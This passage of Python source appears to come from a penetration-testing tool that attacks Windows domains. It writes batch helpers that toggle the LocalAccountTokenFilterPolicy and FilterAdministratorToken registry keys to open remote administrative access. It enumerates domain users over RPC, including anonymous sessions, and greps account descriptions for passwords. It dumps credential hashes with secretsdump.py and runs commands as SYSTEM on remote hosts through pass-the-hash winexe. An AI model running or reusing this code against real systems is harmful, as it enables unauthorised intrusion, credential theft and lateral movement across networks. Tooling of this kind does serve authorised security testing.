fout.write('IF %ERRORLEVEL% == 1 goto turnon\n')
fout.write('If %ERRORLEVEL% == 0 goto remove\n\n')
fout.write('goto end\n')
fout.write(':remove\n\n')
fout.write('reg.exe delete "HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system" /v LocalAccountTokenFilterPolicy /f \n')
fout.write('echo .\n')
fout.write('echo [+] Registry Key Removed \n')
fout.write('echo .\n')
fout.write('echo HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy\n')
fout.write('echo .\n')
fout.write('goto end\n\n')
fout.write(':turnon\n\n')
fout.write('reg.exe add "HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system" /v LocalAccountTokenFilterPolicy /t REG_DWORD /f /D 1 \n')
fout.write('echo .\n')
fout.write('echo [+] Added Registry Key\n')
fout.write('echo .\n')
fout.write('echo HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system\LocalAccountTokenFilterPolicy with value of 1\n')
fout.write('echo .\n')
fout.write('goto end\n\n')
fout.write(':end\n')
fout.close()
print(colored("[+]Written to /tmp/lat.bat ",'yellow'))
logging.info("[+]Written to /tmp/lat.bat ")
except:
print(colored("[-]Something went wrong...",'red'))
logging.error("[-]Something went wrong writing LAT file")
#Routine Write out a batch file which can be used to turn on/off LocalAccountTokenFilterPolicy
def WriteFAT():
try:
print(colored("[+]Attempting to write Filter Administrator Token Policy Helper",'green'))
logging.info("[+]Attempting to write Filter Administrator Token Policy Helper")
fout=open('/tmp/fat.bat','w')
fout.write('@echo off\n\n')
fout.write('cls\n')
fout.write('echo .\n')
fout.write('echo .\n')
fout.write('echo FilterAdministratorToken Enable/Disable Script\n')
fout.write('echo R Davy - NCCGroup \n')
fout.write('echo .\n')
fout.write('echo .\n')
fout.write('echo [+] Searching Registry......\n')
fout.write('echo .\n')
fout.write('reg.exe query "HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system" /v "FilterAdministratorToken" | Find "0x1"\n')
fout.write('IF %ERRORLEVEL% == 1 goto turnon\n')
fout.write('If %ERRORLEVEL% == 0 goto remove\n\n')
fout.write('goto end\n')
fout.write(':remove\n\n')
fout.write('reg.exe delete "HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system" /v FilterAdministratorToken /f \n')
fout.write('echo .\n')
fout.write('echo [+] Registry Key Removed \n')
fout.write('echo .\n')
fout.write('echo HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system\FilterAdministratorToken\n')
fout.write('echo .\n')
fout.write('goto end\n\n')
fout.write(':turnon\n\n')
fout.write('reg.exe add "HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system" /v FilterAdministratorToken /t REG_DWORD /f /D 1 \n')
fout.write('echo .\n')
fout.write('echo [+] Added Registry Key\n')
fout.write('echo .\n')
fout.write('echo HKLM\Software\Microsoft\windows\CurrentVersion\Policies\system\FilterAdministratorToken with value of 1\n')
fout.write('echo .\n')
fout.write('goto end\n\n')
fout.write(':end\n')
fout.close()
print(colored("[+]Written to /tmp/fat.bat ",'yellow'))
logging.info("[+]Written to /tmp/fat.bat ")
except:
print(colored("[-]Something went wrong...",'red'))
logging.error("[-]Something went wrong writing FAT file")
#Routine gets current ip address
def get_ip_address(ifname):
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
return socket.inet_ntoa(fcntl.ioctl(
s.fileno(),
0x8915, # SIOCGIFADDR
struct.pack('256s', ifname[:15])
)[20:24])
except:
return ""
#Routine gets domain usernames
def enumdomusers(ip,username,password,path):
#Enumerate users using enumdomusers
dom_accounts = []
if username=="":
proc = subprocess.Popen('pth-rpcclient '+ip+' -U \"\" -N '+' -c \"enumdomusers\" 2>/dev/null', stdout=subprocess.PIPE,shell=True)
else:
proc = subprocess.Popen('pth-rpcclient '+ip+' -U '+username+'%'+password +' -c \"enumdomusers\" 2>/dev/null', stdout=subprocess.PIPE,shell=True)
stdout_value = proc.communicate()[0]
if "Account Name:" in stdout_value:
print(colored(username+" "+password ,'green')+colored(" - SUCCESSFUL LOGON",'green'))
elif "NT_STATUS_LOGON_FAILURE" in stdout_value:
print(colored(username+" "+password,'red') +colored(" - NT_STATUS_LOGON_FAILURE",'red'))
elif "NT_STATUS_ACCOUNT_LOCKED_OUT" in stdout_value:
print(colored('*****WARNING***** '+username+" "+password,'red') +colored(" - NT_STATUS_ACCOUNT_LOCKED_OUT",'red'))
elif "NT_STATUS_ACCOUNT_DISABLED" in stdout_value:
print(colored(username+" "+password,'blue')+colored(" - NT_STATUS_ACCOUNT_DISABLED",'blue'))
elif "NT_STATUS_PASSWORD_MUST_CHANGE" in stdout_value:
print(colored(username+" "+password,'blue') +colored(" - NT_STATUS_PASSWORD_MUST_CHANGE",'blue'))
else:
print(colored("[+]Successful Connection...",'yellow'))
if not "user:[" in stdout_value:
return False
else:
for line in stdout_value.split('\n'):
tmpline=line.lstrip()
tmpline=tmpline.split(' ')
dom_accounts.append(tmpline[0].replace("user:[", "").replace("]", ""))
if len(dom_accounts)>0:
if dom_accounts[len(dom_accounts)-1]=='':
del dom_accounts[len(dom_accounts)-1]
print(colored('[+]Successfully extracted '+str(len(dom_accounts))+' user name(s)','green'))
if os.path.isfile(path+str(targets[0])+"_users.txt"):
os.remove(path+str(targets[0])+"_users.txt")
fout=open(path+str(targets[0])+"_users.txt",'w')
for u in dom_accounts:
fout.write(u+"\n")
fout.close()
print(colored('[+]User accounts written to file '+(path+str(targets[0]))+"_users.txt",'green'))
else:
print(colored('[-]Looks like we were unsuccessfull extracting user names with this method','red'))
logging.error("[-]Looks like we were unsuccessfull extracting user names with this method")
#Routine gets user descriptions fields
def getdescfield(ip,username,password,path):
usernames = []
descfield = []
filename=path+(str(ip)+"_users.txt")
#Start by seeing if out userfile exists, if it does read in contents
if os.path.isfile(filename):
print(colored('[+]Enumerating usernames to get description information...','yellow'))
with open(filename,'r') as inifile:
data=inifile.read()
user_list=data.splitlines()
#Make sure that the list of users is greater than 0
if len(user_list)>0:
#Confirm userfile found and its not empty
print(colored('[+]Username file found...','green'))
for x in xrange(0,len(user_list)):
if '\\' in user_list[x]:
paccount=user_list[x].split("\\", 1)[1]
else:
paccount=user_list[x]
if username=="":
proc = subprocess.Popen('pth-rpcclient '+ip+' -U \"\" -N '+' -c \"queryuser '+paccount+'\" 2>/dev/null', stdout=subprocess.PIPE,shell=True)
else:
proc = subprocess.Popen('pth-rpcclient '+ip+' -U '+username+'%'+password +' -c \"queryuser '+paccount+'\" 2>/dev/null', stdout=subprocess.PIPE,shell=True)
stdout_value = proc.communicate()[0]
if 'result was NT_STATUS_ACCESS_DENIED' in stdout_value:
print(colored('[-]Access Denied, Check Creds...','red'))
break
else:
for line in stdout_value.split('\n'):
tmpline=line.lstrip()
if "Description : " in tmpline:
desclen=(tmpline.replace("Description : ", "").rstrip())
if len(desclen)>0:
usernames.append(paccount)
descfield.append(tmpline.replace("Description : ", "").rstrip())
if len(descfield)>0:
print(colored('[+]Successfully extracted '+str(len(descfield))+' accounts with descriptions','green'))
if os.path.isfile(path+str(ip)+"_desc_users.txt"):
os.remove(path+str(ip)+"_desc_users.txt")
fout=open(path+str(ip)+"_desc_users.txt",'w')
for u in xrange(0,len(descfield)):
fout.write(usernames[u]+","+descfield[u]+"\n")
fout.close()
print(colored('[+]Accounts with descriptions written to file '+path+str(ip)+"_desc_users.txt",'green'))
if os.path.isfile(path+str(ip)+"_desc_users.txt"):
proc = subprocess.Popen('grep -i pass '+path+str(ip)+"_desc_users.txt", stdout=subprocess.PIPE,shell=True)
stdout_value = proc.communicate()[0]
if len(stdout_value)>0:
print(colored('[+]A quick check for pass reveals... '+'\n','yellow'))
print(stdout_value+"\n")
proc = subprocess.Popen('grep -i pwd '+path+str(ip)+"_desc_users.txt", stdout=subprocess.PIPE,shell=True)
stdout_value = proc.communicate()[0]
if len(stdout_value)>0:
print(colored('[+]A quick check for pwd reveals... '+'\n','yellow'))
print(stdout_value)
else:
print(colored('[-]Unable to find username file...','red'))
logging.error('[-]Unable to find username file...')
#Main routine for dumping from a remote machine
def datadump(user, passw, host, path, os_version):
#Exception where User has no password
if passw=="":
print(colored("[+]User Detected with No Password - Be patient this could take a couple of minutes: ",'yellow'))
if not os.path.exists(path+host):
os.makedirs(path+host)
print(colored("[+]Creating directory for host: "+host,'green'))
proc = subprocess.Popen("secretsdump.py "+domain_name+'/'+user+'@'+host+" -no-pass -outputfile "+outputpath+host+'/'+host+'.txt', stdout=subprocess.PIPE,shell=True)
print(proc.communicate()[0])
print(colored("[+]Files written to: "+path+host,'green'))
print(colored("[+]Exiting as other features will not work at the minute with this configuration, Sorry!!: ",'yellow'))
exit(1)
#Run a whoami on the remote box
proc = subprocess.Popen("/usr/bin/pth-winexe -U \""+domain_name+"\\"+user+"%"+passw+"\" --uninstall --system \/\/"+host+" \"cmd.exe /C whoami \" 2>/dev/null", stdout=subprocess.PIPE,shell=True)
services = proc.communicate()[0]
#If reply is not blank
if services!="":
#We ran the check as system so if not returned bomb out.
if not "nt authority\system" in services:
print(colored("[-]Something went wrong connecting to: "+host,'red'))
else: